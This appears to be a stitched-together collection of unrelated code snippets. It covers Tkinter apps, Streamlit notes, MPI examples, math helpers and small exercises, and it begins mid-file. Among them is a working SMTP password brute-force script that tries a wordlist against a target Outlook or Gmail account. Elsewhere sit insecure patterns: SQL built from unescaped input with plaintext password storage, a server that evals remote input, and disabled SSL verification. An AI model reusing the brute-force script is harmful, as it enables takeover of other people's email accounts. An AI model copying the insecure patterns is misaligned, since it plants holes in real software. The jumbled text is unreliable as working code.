        Inserts data into the MySQL table.
        
        Args:
            *args: Variable-length argument list of values to be inserted.
        """
        self.mycursor.execute(f"INSERT INTO {self.table_name} ({', '.join(list(self.columns))}) VALUES {args}")
        self.mydb.commit()
        
    def retrieve_data(self):
        """
        Retrieves all data from the MySQL table.
        
        Returns:
            list: A list of tuples representing the retrieved data.
        """
        self.mycursor.execute(f"SELECT * FROM {self.table_name}")
        myresult = self.mycursor.fetchall()
        return myresult

class PasswordManager(CTk):
    """The main GUI class for the Password Manager application."""
    def __init__(self):
        """Initializes the PasswordManager GUI."""
        super().__init__()
        self.title("Password Manager")
		#change the host, username, and password to yours
        self.database_connection = DatabaseMediator("HOST", "USERNAME", "PASSWORD", "password_manager", "passwords", "account_name", "account_id", "account_password")
        
        self.frame = CTkFrame(self)
        self.frame.grid(row=0, columnspan=2, padx=10, pady=10)

        self.account_name = CTkEntry(self.frame, placeholder_text="Account name")
        self.account_name.pack(padx=10, pady=10)
        
        self.account_id = CTkEntry(self.frame, placeholder_text="Enter your user ID here")
        self.account_id.pack(padx=10, pady=10)

        self.account_password = CTkEntry(self.frame, placeholder_text="Enter your Password")
        self.account_password.pack(padx=10, pady=10)

        self.save_password = CTkButton(self, text="Save Password", command=self.save)
        self.save_password.grid(row=1, column=0, padx=10, pady=10)

        self.view_password = CTkButton(self, text="View Passwords", command=self.view)
        self.view_password.grid(row=1, column=1, padx=10, pady=10)

    def save(self):
        """Saves the password to the database."""
        acc_nm = self.account_name.get()
        acc_id = self.account_id.get()
        acc_password = self.account_password.get()
        self.database_connection.insert_data(acc_nm, acc_id, acc_password)
        label = CTkLabel(self, text="Passwords Saved successfully...")
        label.grid(row=2, columnspan=2, padx=10, pady=10)

    def view(self):
        """Retrieves and displays all passwords from the database."""
        passwords = self.database_connection.retrieve_data()
        result = ""
        for i in range(len(passwords)):
            result += f"\n{i+1}. {passwords[i]}"
        result_frame = CTkFrame(self)
        result_frame.grid(row=3, columnspan=2, padx=10, pady=10)
        res_label = CTkLabel(result_frame, text=result)
        res_label.pack()


app = PasswordManager()
app.mainloop()
import random
from os import system

# Word categories
categories = {
    "Coding": ["Python", "Variable", "Function", "Loop", "Algorithm", "Debugging", "Syntax", "Class", "Recursion", "Library"],
    "Gaming": ["Console", "Controller", "Quest", "Level", "Avatar", "Powerup", "Multiplayer", "Strategy", "Virtual", "Adventure"],
    "Movies": ["Action", "Comedy", "Thriller", "Drama", "Romance", "SciFi", "Fantasy", "Horror", "Animation", "Mystery"],
    "Travel": ["Beach", "Adventure", "Culture", "Explore", "Passport", "Destination", "Backpack", "Journey", "Sightseeing", "Vacation"]
}

# Get player name
player = input("Enter your name: ")

print()
print(f"\t\t\tWelcome to this word guessing game {player}.")
print("\t\t\tYou will get 10 chances to guess the word.")
print(f"\t\t\t\t\t\tAll The Best {player}")
print("\n\n")

# Print available categories
for i in categories.keys():
    print(f"{i}")

# Select category
category = input("Select category: ").title()
if category not in categories:
    print("Invalid category!")
    exit()

# Select a random word from the chosen category
word = random.choice(categories[category])

# Initialize guessed and wrong variables
guessed = len(word) * '_'
wrong = ""
chances = 10  # Total number of guesses

# Clear the console screen
system('cls')

# Display initial word with underscores
for i in word:
    print("_", end=" ")
print()
# Main game loop
while chances > 0:
    word = word.lower()
    guessed = guessed.lower()

    # Check if the player has guessed all the characters correctly
    if sorted(guessed) == sorted(word):
        print(f"Congrats {player}, you win!!")
        print(f"The correct word was, {word}")
        break

    # Ask the player to enter a character
    guess = input("Enter a character: ").lower()

    # Check if the guessed character is correct
    if guess in word:
        for i in range(len(word)):
            if word[i] == guess:
                tempg = list(guessed)
                tempg.pop(i)
                tempg.insert(i, guess)
                guessed = ''.join([elem for elem in tempg])
        
        # Display the current progress
        for i in range(len(word)):
            if word[i] == guessed[i]:
                print(word[i], end=" ")
            else:
                print("_", end=" ")
        
        print("\nYou are correct!!\n\n")
   
    # If the guessed character is incorrect
    elif guess not in word:
        wrong += guess
        print("\nYou are wrong!!\n\n")
        print(f"Chances left = {chances}")
        chances -= 1
        
# Player has used all the chances
if chances == 0:
    print(f"Alas {player}, You Lose!")
    print("Better luck next time...")
    print(f"The correct word was, {word}")
    print("Thanks for Playing, Have a nice day!")
from customtkinter import *
import pandas as pd

class LoginFrame(CTkFrame):
    """
    A frame for login functionality.
    """
    def __init__(self, master, **kwargs):
        super().__init__(master, **kwargs)
        """
        Initialize the LoginFrame.

        Args:
            master: The parent widget.
            kwargs: Additional keyword arguments for the frame.
        """
        # Create and grid the login label
        self.log = CTkLabel(self, text="LOG IN", text_color="#ffe9a6", font=("Verdana",20))
        self.log.grid(row=0, column=0,padx=10, pady=10)

        # Create and grid the username entry field
        self.user = CTkEntry(self, placeholder_text="Username", text_color="white", fg_color="#030126", border_color="#030126")
        self.user.grid(row=1, column=0,padx=10, pady=10)

        # Create and grid the password entry field
        self.password = CTkEntry(self, placeholder_text="Password", show="*", text_color="white", fg_color="#030126", border_color="#030126")
        self.password.grid(row=2, column=0,padx=10, pady=10)

        # Create and grid the submit button
        self.submit = CTkButton(self, text="Submit", fg_color="#fccc3d", text_color="#2e3140", hover=False, command=self.check, font=("arial",14))
        self.submit.grid(row=3, column=0,padx=10, pady=10)

    def check(self):
        """
        Check if the entered username and password are valid.
        """

        user = self.user.get()
        if self.find_user(user):
            passw = self.password.get()
            if self.match_password(user, passw):
                # Clear the app window and show success message
                for widget in app.winfo_children():
                    widget.destroy()
                label = CTkLabel(app, text="Successfully Logged In!!")
                label.grid(row=1, column=1, padx=10, pady=10)
            else:
                # Show invalid password message
                label = CTkLabel(app, text="Invalid Password")
                label.grid(row=1, column=1, padx=10, pady=10)
        else:
            # Show invalid username message
            label = CTkLabel(app, text="Invalid Username")
            label.grid(row=1, column=1, padx=10, pady=10)

    def find_user(self, username:str) -> bool:
        """
        Find if a user with the given username exists.

        Args:
            username: The username to search for.

        Returns:
            bool: True if the username exists, False otherwise.
        """
        df = pd.read_csv("users.csv")
        for i in range(len(df)):
            cuser = list(df.loc[i])[0]
            if username ==cuser:
                return True
        else:
            return False
        
    def match_password(self, username:str, password:str) -> bool:
        """
        Check if the given password matches the username.

        Args:
            username: The username to check.
            password: The password to match.

        Returns:
            bool: True if the password matches, False otherwise.
        """
        df = pd.read_csv("users.csv")
        for i in range(len(df)):
            cuser = list(df.loc[i])[0]
            passw = list(df.loc[i])[1]
            if username ==cuser:
                if password == passw:
                    return True
                return False


app = CTk()

frame = LoginFrame(master=app)
frame.grid(row=0, column=1,padx=10, pady=10)

app.mainloop()
#A YouTube Video Downloader GUI In Python
from customtkinter import *
from pytube import YouTube

def Download():
    """
    Function to download YouTube videos based on the provided link.
    """
    link = inp_link.get()
    try:
        # making object of the YouTube class from pytube
        youtubeObject = YouTube(link)
        # setting resolution to best
        youtubeObject = youtubeObject.streams.get_highest_resolution()
        # downloading the video
        youtubeObject.download()
        # clearing input widget after the download is successful
        inp_link.delete(0, 'end')
        # providing successfully downloaded message to the user provinding the location of video
        label = CTkLabel(app, text="The video's Download is completed successfully. You can check it in the same directory.")
        label.grid(row=2, column=0, columnspan=2)

    except Exception as e:
        # displaying errors if any
        label = CTkLabel(app, text=e)
        label.grid(row=2, column=0, columnspan=2)
    
# creating a GUI window
app = CTk()
# getting the link
inp_link = CTkEntry(app, placeholder_text="Enter your link here: ")
inp_link.grid(row=0, column=0, columnspan=2, padx=10, pady=10)
# button to download the video at the given link
download = CTkButton(app, text="Download", command=Download)
download.grid(row=1, column=0, columnspan=2, padx=10, pady=10)
app.mainloop()
from customtkinter import *
from tkinter.filedialog import askopenfilename, asksaveasfilename

class Notepad(CTk):
    def __init__(self):
        """Initialize the Notepad application."""
        super().__init__()
        self.title("Notepad")
        self.iconbitmap("images/notepad.ico")
        self.geometry("600x600")
        self.configure(padx=10, pady=10)

        # file path
        self.file = None

         # Create a Frame for the menu and textarea
        self.frame = CTkFrame(self)
        self.frame.pack(fill="both", expand=True, padx=10, pady=10)

        # file menu
        self.File_var = StringVar(value="File")
        self.filemenu = CTkOptionMenu(self.frame,values=["File", "New", "Open", "Save"],
                                         command=self.file_menu_callback,
                                         variable=self.File_var,button_color="black", fg_color="black")
        
        self.filemenu.grid(row=0, column=0, padx=10, pady=10, sticky="w")

        # Textbox to get text
        self.textarea = CTkTextbox(self.frame, font=("Consolas", 11))
        self.textarea.grid(row=1,column=0,columnspan=2, padx=10, pady=10, sticky="nsew")
        # create CTk scrollbar
        # It only appears in full screen mode
        ctk_textbox_scrollbar = CTkScrollbar(self.frame, command=self.textarea.yview)
        ctk_textbox_scrollbar.grid(row=1,column=1, sticky="ns")

        # connect textbox scroll event to CTk scrollbar
        self.textarea.configure(yscrollcommand=ctk_textbox_scrollbar.set)


        # Bind the <Configure> event to the resize_textarea function
        self.bind("<Configure>", self.resize_textarea)

    # event is needed to bind it to resize event
    def resize_textarea(self, event):
        """Adjust the size of the textarea based on the available space."""
        # Calculate the new width and height for the textarea based on the available space
        available_width = self.winfo_width() - 40  # Subtract the padding
        available_height = self.winfo_height() - 40  # Subtract the padding

        # Update the width and height of the textarea
        self.textarea.configure(width=available_width, height=available_height)

    def file_menu_callback(self,choice):
        """Handle the file menu commands."""
        if choice=='New':
            self.new()
        elif choice=='Open':
            self.open()
        elif choice=='Save':
            self.save()

    def new(self):
        """Create a new file."""
        self.file = None
        self.title("Notepad")
        self.textarea.focus_set()
        self.textarea.delete("0.0", 'end')

    def open(self):
        """Open an existing file."""
        self.file = askopenfilename(defaultextension=".txt",
                           filetypes=[("All Files", "*.*"),
                                     ("Text Documents", "*.txt")])
        if self.file == "":
            self.file = None
        else:
            self.title(os.path.basename(self.file))
            self.textarea.delete("0.0", 'end')
            with open(self.file, 'r') as f:
                self.textarea.insert("0.0", f.read())

    def save(self):
        """Save the current file."""
        if self.file == None:
            self.file = asksaveasfilename(initialfile = 'Untitled.txt', defaultextension=".txt",
                           filetypes=[("All Files", "*.*"),
                                     ("Text Documents", "*.txt")])
            if self.file =="":
                self.file = None
            else:
                with open(self.file, 'w') as f:
                    f.write(self.textarea.get("0.0", "end"))



if __name__ == '__main__':
    app = Notepad()
    app.mainloop()
# Data
uang_jalan = 1500000
jumlah_hari = 31
list_plat_nomor = [8993, 2198, 2501, 2735, 3772, 4837, 9152]
# Pengecekan kendaraan dengan nomor pelat ganjil atau genap 
kendaraan_genap = 0
kendaraan_ganjil = 0 
for plat_nomor in list_plat_nomor:
    if plat_nomor % 2 == 0:
        kendaraan_genap += 1 
    else:
        kendaraan_ganjil += 1
# Total pengeluaran untuk kendaraan dengan nomor pelat ganjil
# dan genap dalam 1 bulan
i = 1
total_pengeluaran = 0
while i<= jumlah_hari:
    if i % 2 == 0:
        total_pengeluaran += (kendaraan_genap * uang_jalan) 
    else:
        total_pengeluaran += (kendaraan_ganjil * uang_jalan) 
    i += 1
# Cetak total pengeluaran
print(total_pengeluaran)
# Data
uang_jalan = 1500000
jumlah_hari = 31
list_plat_nomor = [8993, 2198, 2501, 2735, 3772, 4837, 9152]
# Pengecekan kendaraan dengan nomor pelat ganjil atau genap 
kendaraan_genap = 0
kendaraan_ganjil = 0 
for plat_nomor in list_plat_nomor:
    if plat_nomor % 2 == 0:
        kendaraan_genap += 1 
    else:
        kendaraan_ganjil += 1
# Total pengeluaran untuk kendaraan dengan nomor pelat ganjil
# dan genap dalam 1 bulan
i = 1
total_pengeluaran = 0
while i<= jumlah_hari:
    if i % 2 == 0:
        total_pengeluaran += (kendaraan_genap * uang_jalan) 
    else:
        total_pengeluaran += (kendaraan_ganjil * uang_jalan) 
    i += 1
# Cetak total pengeluaran
print(total_pengeluaran)
#!/usr/env/bin python3
import os
import rospy
import rospkg
from PyQt5.QtWidgets import QApplication, QMainWindow, QVBoxLayout, QPushButton, QWidget, QLabel
from PyQt5.QtUiTools import QUiLoader
from rviz_visual_tools import RvizVisualTools

class MainWindow(QMainWindow):
    def __init__(self):
        super(MainWindow, self).__init__()

        # Load the UI file
        ui_file = os.path.join(rospkg.RosPack().get_path('test_wst'), 'app.ui')
        self.load_ui(ui_file)

        # Connect buttons
        self.button1.clicked.connect(self.handle_button1)
        self.button2.clicked.connect(self.handle_button2)

        # Initialize RViz
        self.rviz = RvizVisualTools("world", "/rviz_visual_tools")

        # Add robot model to RViz
        self.rviz.load_robot()
        
        # Add RViz visualization to the UI
        self.rviz_widget = self.rviz.embed_into("rvizWidget")

    def load_ui(self, ui_file):
        loader = QUiLoader()
        ui_file = QFile(ui_file)
        ui_file.open(QFile.ReadOnly)
        self.window = loader.load(ui_file)
        ui_file.close()
        self.setCentralWidget(self.window.centralwidget)

        # Find UI elements
        self.button1 = self.window.centralwidget.findChild(QPushButton, "button1")
        self.button2 = self.window.centralwidget.findChild(QPushButton, "button2")
        self.rviz_widget = self.window.centralwidget.findChild(QWidget, "rvizWidget")

    def handle_button1(self):
        # Handle button 1 click
        print("Button 1 clicked")

    def handle_button2(self):
        # Handle button 2 click
        print("Button 2 clicked")

if __name__ == '__main__':
    # Initialize the ROS node
    rospy.init_node("rviz_example")

    # Initialize the Qt application
    app = QApplication([])
    window = MainWindow()
    window.show()

    # Start the Qt event loop
    app.exec_()
list_cash_flow = [
2500000, 5000000, -1000000, -2500000, 5000000, 10000000,
-5000000, 7500000, 10000000, -1500000, 25000000, -2500000
]
total_pengeluaran, total_pemasukan = 0, 0
for dana in list_cash_flow: 
    if dana > 0:
        total_pemasukan += dana 
    else:
        total_pengeluaran += dana
total_pengeluaran *= -1
print(total_pengeluaran) 
//ENU to body frame

[[cos(theta)*cos(psi), cos(theta)*sin(psi), -sin(theta)],
 [-sin(phi)*sin(theta)*cos(psi) + cos(phi)*sin(psi), sin(phi)*sin(theta)*sin(psi) + cos(phi)*cos(psi), sin(phi)*cos(theta)],
 [cos(phi)*sin(theta)*cos(psi) + sin(phi)*sin(psi), -cos(phi)*sin(theta)*sin(psi) + sin(phi)*cos(psi), cos(phi)*cos(theta)]]


//NED to body frame

[[cos(theta)*cos(psi), -cos(theta)*sin(psi), sin(theta)],
 [sin(phi)*sin(theta)*cos(psi) + cos(phi)*sin(psi), -sin(phi)*sin(theta)*sin(psi) + cos(phi)*cos(psi), -sin(phi)*cos(theta)],
 [-cos(phi)*sin(theta)*cos(psi) + sin(phi)*sin(psi), cos(phi)*sin(theta)*sin(psi) + sin(phi)*cos(psi), cos(phi)*cos(theta)]]
import numpy as np

def enu_to_body_frame(enu_vector, roll, pitch, yaw):
    # Construct the direction cosine matrix (DCM)
    c_roll = np.cos(roll)
    s_roll = np.sin(roll)
    c_pitch = np.cos(pitch)
    s_pitch = np.sin(pitch)
    c_yaw = np.cos(yaw)
    s_yaw = np.sin(yaw)

    dcm = np.array([
        [c_pitch * c_yaw, -c_roll * s_yaw + s_roll * s_pitch * c_yaw, s_roll * s_yaw + c_roll * s_pitch * c_yaw],
        [c_pitch * s_yaw, c_roll * c_yaw + s_roll * s_pitch * s_yaw, -s_roll * c_yaw + c_roll * s_pitch * s_yaw],
        [-s_pitch, s_roll * c_pitch, c_roll * c_pitch]
    ])

    # Transform the vector from ENU to body frame
    body_vector = np.dot(dcm, enu_vector)

    return body_vector

# Example usage
enu_vector = np.array([1.0, 0.0, 0.0])  # Vector in ENU frame
roll = 0.1  # Roll angle in radians
pitch = 0.2  # Pitch angle in radians
yaw = 0.3  # Yaw angle in radians

body_vector = enu_to_body_frame(enu_vector, roll, pitch, yaw)

print("Body frame vector:", body_vector)
# stores recent function calls
fibonacci_cache = {}


def fibonacci(n):
    # check if the input is an integer
    if type(n) != int:
        raise TypeError("The input must be an integer")

    # check if the input is a postive integer
    if (n < 1):
        raise ValueError("Input must be a positive integer")

    # if we have cached the value, then return it
    if n in fibonacci_cache:
        return fibonacci_cache[n]

    # compute the nth term
    if (n == 1):
        value = 1
    elif (n == 2):
        value = 1
    elif (n > 2):
        value = fibonacci(n - 1) + fibonacci(n - 2)

    # cache the value and return it
    fibonacci_cache[n] = value
    return value


for n in range(1, 101):
    print(f"{n}: {fibonacci(n)}")
from music21 import chord, interval

# Create a Chord object for C major
c_major_chord = chord.Chord("C4 E4 G4")

# Get the root note of the chord
root_note = c_major_chord.root()

# Get the chord tensions
tensions = []
for degree in [2, 4, 6]:
    tension_pitch = root_note.transpose(interval.GenericInterval(degree))
    tensions.append(tension_pitch.name)
print("Chord Tensions:", tensions)
st.dataframe(my_dataframe)
st.table(data.iloc[0:10])
st.json({'foo':'bar','fu':'ba'})
st.metric('My metric', 42, 2)
st.button('Click me')
st.data_editor('Edit data', data)
st.checkbox('I agree')
st.radio('Pick one', ['cats', 'dogs'])
st.selectbox('Pick one', ['cats', 'dogs'])
st.multiselect('Buy', ['milk', 'apples', 'potatoes'])
st.slider('Pick a number', 0, 100)
st.select_slider('Pick a size', ['S', 'M', 'L'])
st.text_input('First name')
st.number_input('Pick a number', 0, 10)
st.text_area('Text to translate')
st.date_input('Your birthday')
st.time_input('Meeting time')
st.file_uploader('Upload a CSV')
st.download_button('Download file', data)
st.camera_input("Take a picture")
st.color_picker('Pick a color')

# Use widgets' returned values in variables:
>>> for i in range(int(st.number_input('Num:'))):
>>>   foo()
>>> if st.sidebar.selectbox('I:',['f']) == 'f':
>>>   b()
>>> my_slider_val = st.slider('Quinn Mallory', 1, 88)
>>> st.write(slider_val)

# Disable widgets to remove interactivity:
>>> st.slider('Pick a number', 0, 100, disabled=True)
# E.g. Dataframe computation, storing downloaded data, etc.
>>> @st.cache_data
... def foo(bar):
...   # Do something expensive and return data
...   return data
# Executes foo
>>> d1 = foo(ref1)
# Does not execute foo
# Returns cached item by value, d1 == d2
>>> d2 = foo(ref1)
# Different arg, so function foo executes
>>> d3 = foo(ref2)
# Clear all cached entries for this function
>>> foo.clear()
# Clear values from *all* in-memory or on-disk cached functions
>>> st.cache_data.clear()
st.text('Fixed width text')
st.markdown('_Markdown_') # see *
st.latex(r''' e^{i\pi} + 1 = 0 ''')
st.write('Most objects') # df, err, func, keras!
st.write(['st', 'is <', 3]) # see *
st.title('My title')
st.header('My header')
st.subheader('My sub')
st.code('for i in range(8): foo()')
* optional kwarg unsafe_allow_html = True
pip uninstall streamlit
pip install streamlit-nightly --upgrade
pip uninstall streamlit
pip install streamlit-nightly --upgrade
streamlit --help
streamlit run your_script.py
streamlit hello
streamlit config show
streamlit cache clear
streamlit docs
streamlit --version
streamlit run first_app.py

# Import convention
>>> import streamlit as st
from datetime import datetime
from dateutil.relativedelta import relativedelta
    
date_after_month = datetime.today()+ relativedelta(months=1)
print('Today: ',datetime.today().strftime('%d/%m/%Y'))
print('After Month:', date_after_month.strftime('%d/%m/%Y'))
import ast

with open('filename.txt', 'r') as f:
    mylist = ast.literal_eval(f.read())
sin(2 * pi * (frame / total_frames)) * amplitude_factor
ini_list = "[1, 2, 3, 4, 5]"
 
# printing initialized string of list and its type
print("initial string", ini_list)
print(type(ini_list))
 
# Converting string to list
res = ini_list.strip('][').split(', ')
def ipt_sheet():
    credentials = service_account.Credentials.from_service_account_file(
    './p-gsheet.json')

    scoped_credentials = credentials.with_scopes(
    ['https://www.googleapis.com/auth/spreadsheets',
    'https://www.googleapis.com/auth/drive'])

    # Authorize the client
    client = gspread.authorize(scoped_credentials)

    # Open the Google Sheet by its title
    sheet = client.open('NOTIF EXPIRED')

    # Select the specific worksheet within the sheet
    worksheet = sheet.worksheet('Sheet1')

    # Define the data to insert
    data = [[datetime.today().strftime('%m-%d-%Y'), 'Value 3', 'Value 2', 'Value 3', 'Value 4', 'val6']]

    # Specify the column to insert the data
    column_index = 2  # Example: Insert in column B

    # Find the last row with data in the specified column
    last_row = len(worksheet.col_values(2)) + 1

    # Insert the data into the specified column and row
    worksheet.insert_rows(data, row=last_row)

    print('Data inserted successfully!')
import functools


def singleton(cls):
    cls._instance = None

    @functools.wraps(cls)
    def wrapper_singleton(*args, **kwargs):
        if not cls._instance:
            cls._instance = cls(*args, **kwargs)
        return cls._instance

    return wrapper_singleton
from typing import List




class Solution:
    def subsetSums(self, arr: List[int], n: int) -> List[int]:
        ans = []


        def subsetSumsHelper(ind: int, sum: int):
            if ind == n:
                ans.append(sum)
                return
            # element is picked
            subsetSumsHelper(ind + 1, sum + arr[ind])
            # element is not picked
            subsetSumsHelper(ind + 1, sum)
        subsetSumsHelper(0, 0)
        ans.sort()
        return ans




if __name__ == "__main__":
    arr = [3, 1, 2]
    ans = Solution().subsetSums(arr, len(arr))
    print("The sum of each subset is")
    for sum in ans:
        print(sum, end=" ")
    print()
def get_permutations(string):
    # Base case: If the string is empty, return an empty list
    if len(string) == 0:
        return []

    # Base case: If the string has only one character, return a list with that character
    if len(string) == 1:
        return [string]

    permutations = []  # List to store permutations

    # Iterate through each character in the string
    for i in range(len(string)):
        current_char = string[i]

        # Generate all permutations of the remaining characters
        remaining_chars = string[:i] + string[i+1:]
        remaining_perms = get_permutations(remaining_chars)

        # Append the current character to each permutation of the remaining characters
        for perm in remaining_perms:
            permutations.append(current_char + perm)

    return permutations

# Example usage
input_string = "abc"
permutations_list = get_permutations(input_string)
print(permutations_list)
string = "Hello World"


def reversing_string(string):
    if (string == ""):
        return ""
    return reversing_string(string[1:]) + string[0]


str = reversing_string(string)
print(str)
df['column'].unique()  # Unique Values
df['column'].nunique() # Number of unique values
df['column'].value_counts() # Both
try:
	6/0
except:
	print(sys.exc_info()[0])
pd.to_datetime(df_apto['AF_DT_EMISSAO_NF'].astype('str').str[:8],format='%Y%m%d',errors='coerce')
# Type string
pyautogui.typewrite("Hello, World!")

# Move cursor slowly
target_x = 500
target_y = 500
pyautogui.moveTo(target_x, target_y, duration=2)

# Click mouse
pyautogui.click()
pyautogui.click(button='right')
import torch
import torch.nn as nn
import torch.nn.functional as F
import torch.optim as optim
from torch.utils.data import DataLoader
from torchvision import datasets, transforms

import matplotlib.pyplot as plt
#! /usr/bin/env python
from mpi4py import MPI

rank = MPI.COMM_WORLD.Get_rank()

def log(msg, *args):
    if rank == 0:
        print msg % args

info = MPI.INFO_NULL
service = "pyeval"
log("looking-up service '%s'", service)
port = MPI.Lookup_name(service)
log("service located  at port '%s'", port)

root = 0
log('waiting for server connection...')
comm = MPI.COMM_WORLD.Connect(port, info, root)
log('server connected...')

while True:
    done = False
    if rank == root:
        try:
            message = raw_input('pyeval>>> ')
            if message == 'quit':
                message = None
                done = True
        except EOFError:
            message = None
            done = True
        comm.send(message, dest=0, tag=0)
    else:
        message = None
    done = MPI.COMM_WORLD.bcast(done, root)
    if done:
        break

log('disconnecting server...')
comm.Disconnect()
#! /usr/bin/env python

from mpi4py import MPI

rank = MPI.COMM_WORLD.Get_rank()

def log(msg, *args):
    if rank == 0:
        print msg % args

log('')

info = MPI.INFO_NULL

port = MPI.Open_port(info)
log("opened port: '%s'", port)

service = 'pyeval'
MPI.Publish_name(service, info, port)
log("published service: '%s'", service)

MPI.COMM_WORLD.Spawn("./client.py", maxprocs=1)

root = 0
log('waiting for client connection...')
comm = MPI.COMM_WORLD.Accept(port, info, root)
log('client connected...')

while True:
    done = False
    if rank == root:
        message = comm.recv(source=0, tag=0)
        if message is None:
            done = True
        else:
            try:
                print 'eval(%r) -> %r' % (message, eval(message))
            except StandardError:
                print "invalid expression: %s" % message
    done = MPI.COMM_WORLD.bcast(done, root)
    if done:
        break

log('disconnecting client...')
comm.Disconnect()

log('upublishing service...')
MPI.Unpublish_name(service, info, port)

log('closing port...')
MPI.Close_port(port)
A função cell no FPDF tem os seguintes parâmetros:

w: Largura da célula (float ou int).
h: Altura da célula (float ou int).
txt: Conteúdo do texto a ser adicionado (str).
border: Indica se deve ser exibida uma borda ao redor da célula. Os valores possíveis são 0 (sem borda) ou 1 (com borda). Por padrão, é 0 (int).
ln: Indica a posição vertical após a chamada da função. Os valores possíveis são:
0: à direita (mesma linha)
1: começo da próxima linha
2: abaixo
align: Alinhamento do texto dentro da célula. Os valores possíveis são:
'L' ou 'l': alinhamento à esquerda
'C' ou 'c': alinhamento centralizado
'R' ou 'r': alinhamento à direita
No exemplo pdf.cell(0, 10, 'Texto com a fonte Poppins', 0, 1, 'C'), os parâmetros são usados da seguinte forma:

0: A largura da célula é definida como 0, o que significa que a largura será calculada automaticamente para se ajustar ao conteúdo do texto.
10: A altura da célula é definida como 10 unidades.
'Texto com a fonte Poppins': O texto que será exibido dentro da célula.
0: Não será exibida uma borda ao redor da célula.
1: A chamada da função cell irá para a próxima linha após a execução.
'C': O texto será alinhado centralmente dentro da célula.
import os
import shutil

os.rename("path/to/current/file.foo", "path/to/new/destination/for/file.foo")
os.replace("path/to/current/file.foo", "path/to/new/destination/for/file.foo")
shutil.move("path/to/current/file.foo", "path/to/new/destination/for/file.foo")
import feedparser
import requests
import pathlib

# Set the path to the folder
folder_path = pathlib.Path("C:/Python311/OARscripts/Experiments/BlowingBubbles")

# Delete existing files in the folder
for file in folder_path.glob("*"):
    try:
        file.unlink()
    except Exception as e:
        print(f"Error deleting {file}: {e}")

# Download latest episode
url = "https://feeds.accessmedia.nz/V2/itunes/95444842-39c8-4d47-b4c6-4a0fd697e569"
feed = feedparser.parse(url)
latest_entry = feed.entries[0]
file_url = latest_entry.enclosures[0].url
destination_folder = folder_path
file_name = pathlib.Path(file_url).name
new_file_name = "new_file_name.mp3"

try:
    # Download the file
    response = requests.get(file_url)
    with open(destination_folder / file_name, "wb") as f:
        f.write(response.content)

    # Rename the file
    (destination_folder / file_name).rename(destination_folder / new_file_name)

    print(f"File downloaded to {destination_folder / new_file_name}")
except Exception as e:
    print(f"Error downloading or renaming file: {e}")
class Robot:
    def place_bottle(self, station) → None:
        ...
        pass

    def remove_bottle(self, station) → None:
        ...
        pass


class Station:
    def start_filling(self, station) → None:
        ...

    def time_to_fill(self, station) → int:
        ...

    def has_bottle(self, station) -> bool:
        ...

    def is_filling(self, station) -> bool:
        ...



def first_flow(stations, robot):
    for station in stations:
        if not station.has_bottle() and not station.is_filling():
            robot.place_bottle(station) # blocks for 1 second
            station.start_filling()
        elif station.has_bottle() and station.is_filling() and station.time_to_fill() == 0:
            station.stop_filling()
            robot.remove_bottle(station) # blocks for 2 seconds

def second_flow(stations, robot):
    # Objetivo no derramar
    ready_to_fill = []
    ready_to_remove = []
    while len(ready_to_fill) == len(stations):
        for station in stations:
            if not station.has_bottle():
                robot.place_bottle(station) # blocks for 1 second
                ready_to_fill.append(station)

    for station in ready_to_fill:
        station.start_filling()

    while len(ready_to_remove) == len(stations):
        for station in stations:
            if station.has_bottle() and station.is_filling() and station.time_to_fill() == 0:
                station.stop_filling()
                ready_to_remove.append(station)

    for station in ready_to_fill:
        station.remove_bottle()

   
# Estado global del proceso
# Staciones llenado botellas -> que necesito apagar -> prioridad
# Staciones vacias -> Que necesitan botellas para llenar -> si me alcanza el tiempo
# Staciones apagadas con botellas -> que necesitan ser sacadas -> solo si me alcanza el tiempo y no staciones vacias


def third_flow(stations, robot):
    # Tiempo variado de estaciones 
    # quiero retirar las botellas que ya esten listas si es que no tengo que detener otras botellas.
    filling_bottles_stations = []
    empty_stations = []
    turned_off_stations = []

    updated_filling_bottles = []
    for station in filling_bottles_stations:
        if station.time_to_fill() == 0:
            station.stop_filling()
            turned_off_stations.append(station)
        else:
            updated_filling_bottles.append(station)
    filling_bottles_stations = updated_filling_bottles





if __name__ == "__main__":
    stations = [Station() for _ in range(8)]
    robot = Robot()
    while True:
        basic_flow(stations, robot)



#Post prepare_data_for_forecast
input_selected_items_df = pd.read_excel('item_list_2023-05-02.xlsx')
target_df = target_df[target_df['ITEM_ID'].isin(input_selected_items_df['ITEM_ID'])]
#!/usr/bin/python
# Dyrk.org 2016-2017

import smtplib

# Outlook.com
smtp_s   = 'smtp-mail.outlook.com'

# Gmail
# smtp_s = 'smtp.gmail.com'

smtp_p = 587
sender = 'target_adress@hotmail.com'
dico   = 'pwdlist.txt'

with open(dico) as f:
    for password in f:
        password = password.replace('\n', '')
        try:
            m = smtplib.SMTP(smtp_s, smtp_p)
            m.ehlo()
            m.starttls()
            m.login(sender, password)
            print '[OK] => ' + sender + ' : ' + password
            m.close()
            exit()
        except smtplib.SMTPAuthenticationError, e:
            if e[0] == 534:  # Gmail
                print '[OK] => ' + sender + ' : ' + password
                print e
                exit()
            else:
                print 'try ' + password + ' .... err. ' + str(e[0]) \
                    + '   >>>  ' + e[1]

			
import pandas as pd

import warnings
warnings.filterwarnings('ignore')
pd.set_option('display.max_columns', None) 
pd.set_option('display.expand_frame_repr', False)
pd.set_option('max_colwidth', None)
pd.set_option('display.float_format', lambda x: '%.3f' % x)
import nltk
import ssl

try:
    _create_unverified_https_context = ssl._create_unverified_context
except AttributeError:
    pass
else:
    ssl._create_default_https_context = _create_unverified_https_context

nltk.download()
def win_spec(x,buff_s):
    
    window = np.blackman(buff_s)
    mat = frame(x,buff_s,int(buff_s/2))
    
    # extra step because overwriting can throw errors sometimes
    temp_array = np.zeros(np.shape(mat))
    
    for i in range(0,np.shape(mat)[1]):
        temp_array[:,i] += mat[:,i]*window
        
    fft_col = 10*np.log(np.abs(np.fft.fft(temp_array,axis=0)))
    return fft_col, np.shape(mat)[1]
import os

os.chdir('D:\\folder1\\folder2')
files = os.listdir()
for f in files:
    new_name = f.replace('old part', 'name part')
    os.rename(f, new_name)
raceback (most recent call last):
  File "./download_ecmwf_data.py", line 27, in <module>        
    f.write(data+' - '+e)
TypeError: can only concatenate str (not "NameError") to str   
root@aws:~/Lake_middle/meteo_scripts/main_scripts# nano download_ecmwf_data.py
lst_estoque = map( str, df_estoque.columns)
lst_estoque = list(map( lambda x: x.replace( 'QLID_', ''), lst_estoque))
"""
SECTION 1:
In this first section you will find values and lists of values that are esential for the core functionality of the program.
"""
#This changes the size of the canvas
set_size(420,540) 

#This list contains the hexadeciaml number of the colors for each cover theme
